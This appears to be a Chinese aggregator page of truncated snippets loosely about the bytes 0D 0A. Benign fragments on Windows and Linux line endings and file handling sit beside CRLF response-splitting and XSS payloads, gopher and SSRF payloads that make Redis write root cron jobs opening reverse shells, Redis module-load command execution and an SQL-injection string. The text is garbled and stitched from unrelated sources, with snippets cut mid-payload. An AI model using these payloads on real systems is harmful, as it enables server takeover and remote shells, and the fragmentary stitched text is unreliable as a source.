page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length.../%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert...98%8A%E5%98%8Dheader:header %0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2e%2e 在位置标头之前在302重定向上拆分响应(在DoD中发现) %0d%0aContent-Type:%20text%...2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS'
我们有时在Windows编辑的文件,放到了Linux环境中,打开文件,可能发现每行结尾多了一个“^M”,导致一些在Windows下能执行的解析程序,放到了Linux中,执行就会报错,问题就出在这个"^M...Dos、Windows格式的文件,用0D 0A(CR+LF)作为换行符,而Linux/Unix的则是以0A(LF)作为换行符,因此以Dos底下的文本文件到了Linux,换行符就会多出来一个0D(CR),...在Linux中vim是无法显示\r,因为ascii中对应的不是Linux中的标准acsii字符,其实其对应的ASCII码十进制形式是13(无显示形式),对应的八进制形式是15(显示为^M)。...在Windows下使用文本工具进行转换win-->linux,例如notepad++、UltraEdit直接进行转换。 2. 在Linux下,可以用dos2unix file,将文件转换格式。 3....在Linux下,可以用cat file | tr -d "\r" > new_file,进行替换。 4.
Windows:使用CRLF表示行的结束 Linux/Unix:使用LF表示行的结束 MacOS:早期使用CR表示,现在好像也用LF表示行的结束 在HTTP规范中,行应该使用CRLF来结束。...构造POC: %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length...%0a %0d%0a%0d%0a r%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html...%0d%0aContentLength:%2019%0d%0a%0d%0aInjected%02Content %0d%0d%0a%0a 0x0D0x0A 0x0D0x0D0x0A0x0A...\r\n %5cr%5cn %0%0d%0ad%0%0d%0aa %0%0D%0AD%0%0D%0AA %0d%0aContentType:%20text/html;charset=UTF-7%0d%
php header("Location: gopher://172.28.100.108:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a...%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%...0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit...%0d%0a%0a"); ?...0X08 可能遇到的问题 以下问题是因为我用的linux上vim编辑器导致的,后使用Sublime编辑器解决了乱码问题 ?
localhost or 127.0.0.1 or none root@iZwz9g11g0cdei6qd02gjrZ:~# curl --version curl 7.47.0 (x86_64-pc-linux-gnu...%3B%20boundary%3D------------------------d467b8408a94bf7d%0d%0a%0d%0a--------------------------d467b8408a94bf7d...%0d%0aContent-Disposition%3A%20form-data%3B%20name%3D%22username%22%0d%0a%0d%0aadmin%27%20or%201%3D1%...20%23%0d%0a--------------------------d467b8408a94bf7d--%0d%0a&username=admin%27 可以看到发送的数据为: ?...%0d%0aContent-Length:%202%0d%0a%0d%0a"); 访问这个文件,就会发起一个GET请求,到wonderkun.cc的80端口。
>%0d%0a%0a%0d%0a%0d%0a*1%0d%0a 保存:*2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*1%0d%0a4%0d%0asave%0d...%0a*1%0d%0a4%0d%0aquit%0d%0a 发现没有写进去,目标机器为Linux,猜测是权限的问题(可能网站路径都是755,而redis权限想写进去最后一位权限得是7(读写执行)、6(写执行...%0d%0a2%0d%0ano%0d%0a*1%0d%0a *2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*4%0d%0a6%0d%0aconfig%0d%...%0d%0a5%0d%0a1.php%0d%0a*1%0d%0a *2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*3%0d%0a3%0d%0aset%0d%...%3E%0d%0a%0a%0d%0a%0d%0a*1%0d%0a4%0d%0aquit%0d%0a *2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*1%0d
修改备份目录为linux计划任务目录 config set dir /var/spool/cron/ 修改备份文件名为 root config set dbfilename root 以root身体执行计划任务...Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF...Payload: http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%...%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.17.141%2F7777%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D...%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa ?
最后,多亏了二进制文件对比工具的帮忙,发现在16进制视图下面,源文件跟FTP上面down下来的文件相比,后者将前者很多空位替换成了“0D”(我百度了一下,0D貌似代表的是回车符号),这样就解释了为什么上传的文件打开会出问题...,而且空位占的空间比0D符号要小得多,这种替换会导致上传的文件越大,源文件跟上传之后的文件大小差异越大。...我同样将服务端缓存目录中文件同FTP上下载下来的问价做而十六进制对比,还是只是空位变成了0D符。...那么空位被0D替换的问题怎么解决呢?经过n多次尝试,发现只要加上后缀名就好了,也就是说不要将没有后缀名的文件从本机上传到FTP服务器上。...应用程序的服务端开在我本机,windows系统,而FTP服务器搭在一台Linux服务器上,兴许是操作系统的差异,导致了二进制文件中某些特殊符号的自动被替换。
localhost or 127.0.0.1 or none root@iZwz9g11g0cdei6qd02gjrZ:~# curl --version curl 7.47.0 (x86_64-pc-linux-gnu...%3B%20boundary%3D------------------------d467b8408a94bf7d%0d%0a%0d%0a--------------------------d467b8408a94bf7d...%0d%0aContent-Disposition%3A%20form-data%3B%20name%3D%22username%22%0d%0a%0d%0aadmin%27%20or%201%3D1%...20%23%0d%0a--------------------------d467b8408a94bf7d--%0d%0a&username=admin%27 可以看到发送的数据为: 测试一下php是否可以识别这种请求...%0d%0aContent-Length:%202%0d%0a%0d%0a"); 访问这个文件,就会发起一个GET请求,到wonderkun.cc的80端口。
path=//150.109.53.69:0%2f%0D%0A%0D%0Atest 正常来说,直接注入script就可以了 http://150.109.53.69:3000/path?...path=http://150.109.53.69:0%2f%0D%0A%0D%0Aalert`1` 原文中说当端口小于80,firefox就会卡住...path=http://150.109.53.69:0%2f%0D%0AContent-Type%3a+text/javascript%3b+charset%3dUTF-8%0D%0A%0D%0Aalert...path=http://150.109.53.69:0%2f%0D%0AContent-Type%3a+text/javascript%3b+charset%3dUTF-8%0D%0A%0D%0Aalert...score以外,也可以更具password来排行,再加上数据库中密码是明文存取的(不是明文也可以,只是获得的是hash) 知道了原理,我们就可以通过不断插入新的账号来逼近目标字符串,因为数据库排序和前面说的linux
__main__': main() gopher对redis的利用: redis没有密码 思路: 利用ssrf漏洞,通过gopher协议向redis发送一个请求,让redis将数据库文件保存到linux.../shell.sh 127.0.0.1 4444 拦截到的报文格式: 格式转化脚本: curl -v ‘gopher://127.0.0.1:6379/_*3%0d%0a3%0d%0aset%0d...%0a1%0d%0a1%0d%0a58%0d%0a%0a %0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d...%0a*4%0d%0a3%0d%0aset%0d%0a3%0d% 0adir%0d%0a16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a6%0d%0aconfig%0d%0a3%...0d%0 aset%0d%0a10%0d%0adbfilename%0d%0a4%0d%0aroot%0d%0a*1%0d%0a4%0d%0asave%0 d%0a*1%0d%0a 需要注意的是,如果要换
转自:Soul Of Free Loop链接:https://zohead.com/archives/mod-elf-glibc/ Linux glibc 问题 相信有不少 Linux 用户都碰到过运行第三方....gnu.version 表从 0x05b508 偏移量开始,我们可以看看对应偏移量的十六进制数据: Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D...00 03 00 07 00 07 00 0E 00 0F 00 03 00 0D 00 ................ 0005B580 03 00 03 00 03 00 03 00 02...00 00 09 00 Ïp.......ii..... 0005D9F0 6A 70 03 00 10 00 00 00 17 69 69 0D 00 00 06 00 jp.......ii...修改 ELF 符号表 由于 Linux 系统中的 LD 库(也就是 /lib64/ld-linux-x86-64.so.2 库)加载 ELF 时检查 .gnu.version_r 表中的符号,我们可以使用任何一款十六进制编辑器来修改
复现 在windows端开启一个nc监听(在此之前,你应该先安装) nc -p -l 9999 然后在kali linux中通过gopher协议访问该端口. curl gopher://192.168.1.120...urlStr = urlStr.replace('%0A','%0D%0A') print(urlStr) 在kali中发送: curl gopher://192.168.1.28:80/GET%20.../test.php%3Fname%3Dyalexin%20HTTP/1.1%0D%0AHost%3A%20192.168.1.28%0D%0A 发送POST请求 准备一个post.php: <?...%0Ahost%3A192.168.1.28%0D%0AContent-Type%3Aapplication/x-www-form-urlencoded%0D%0AContent-Length%3A12%...0D%0A%0D%0Aname%3Dyalexin%0D%0A 实战 以ctfhub技能树的SSRF的上传文件为例。
先不要急着去关闭你的linux服务器,你首先要确定它是否支持远程开机?...目标机器的网卡已经支持了远程开机,下面我们得到它的本地MAC地址: [root@localhost lhd]# ifconfig eth0 Link encap:Ethernet HWaddr 00:03:0D...bytes:31559763 (30.0 MiB) TX bytes:5340032 (5.0 MiB) Interrupt:5 Base address:0x2c00 把HWaddr 00:03:0D...:1D:1F:97这一项记录下来即可 现在你可以试着把目标机器关闭 第二步:开机 现在我们需要登录到已安装了wake on lan软件的机器上,在上面执行开机命令: wol 00:03:0D:1D:1F...wake on lan 去唤醒目标机器 前提条件就是:目标机器和我们登录的机器在同一局域网中 5,还有一点:被远程开机的目标机器必须是插电的,没插电源的机器也能开机只有电影中才会出现 下面简单介绍一下linux
该恶意软件主要针对Linux和Microsoft Windows服务器,结合了不同恶意软件的功能,如勒索软件,挖矿软件,僵尸网络和蠕虫,对目标展开攻击。...researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows...2传播与感染影响分析 Xbash使用python语言开发,恶意软件作者通过滥用合法工具PyInstaller进行分发,转换为自包含的Linux ELF可执行文件,具有很好的跨平台特性,能够运行在macOS...,Linux,Windows等平台上,攻击目标主要是Windows和Linux服务器。...返回信息为固定的 “0d 0a 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a” 获取弱口令的通信特征:post数据返回信息以“---”字符串进行分割,获取数量为200个弱口令
%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d...%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%...69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a...%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d...0d%0a%72%6f%6f%74%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a --cookie"cookie" 成功反弹shell
65 6C 6C 6F 0A 57 6F 72 6C 64 0A 下面的代码中 , 使用 ” r+ ” 的方式打开文件 , 是以文本形式打开的文件 , 二进制输出内容为 48 65 6C 6C 6F 0D...0A 57 6F 72 6C 64 0D 0A 其中 0D 是 ‘\r’ , 0A 是 ‘\n’ , 文本形式中换行被解析为 “\r\n” , 二进制形式只有 ‘\n’ ; 在 Windows 系统下..., 文本都是以 “\r\n” 作为换行符号 ; 在 Linux / Unix 系统下 , 文本都是以 ‘\n’ 作为换行符号 ; 代码示例 : #include int main.../ 如果打开成功 , 则需要关闭文件 fclose(p); } printf("Main End\n"); return 0; } 文本方式下 , 换行是 0D...0A , 二进制方式下 , 将数据原封不动输出 ; 在 Windows 下使用文本模式和二进制模式读写数据是不同的 ; 但在 Linux / Unix 下使用文本模式和二进制模式读写文件没有区别 ;
a=1%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$13%0d%0aredis123456aB%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET...a=1%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$13%0d%0aredis123456aB%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD.../exp.so%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a..../exp.so%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a..../exp.so%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a*2%0d%0a$11%0d%0asystem.exec
(而并不移动到下一行的开头,即不改变光标水平位置) 在计算机还没有出现之前,有一种叫做电传打字机(Teletype Model 33,Linux/Unix下的tty概念也来自于此)的玩意,每秒钟可以打...Dos和windows采用回车+换行CR/LF表示下一行, 而UNIX/Linux采用换行符LF表示下一行, 苹果机(MAC OS系统)则采用回车符CR表示下一行....所以Windows平台上换行在文本文件中是使用 0d 0a 两个字节表示, 而UNIX和苹果平台上换行则是使用0a或0d一个字节表示. ? 注1:关于“回车键”的来历,还得从机械英文打字机说起。
领取专属 10元无门槛券
手把手带您无忧上云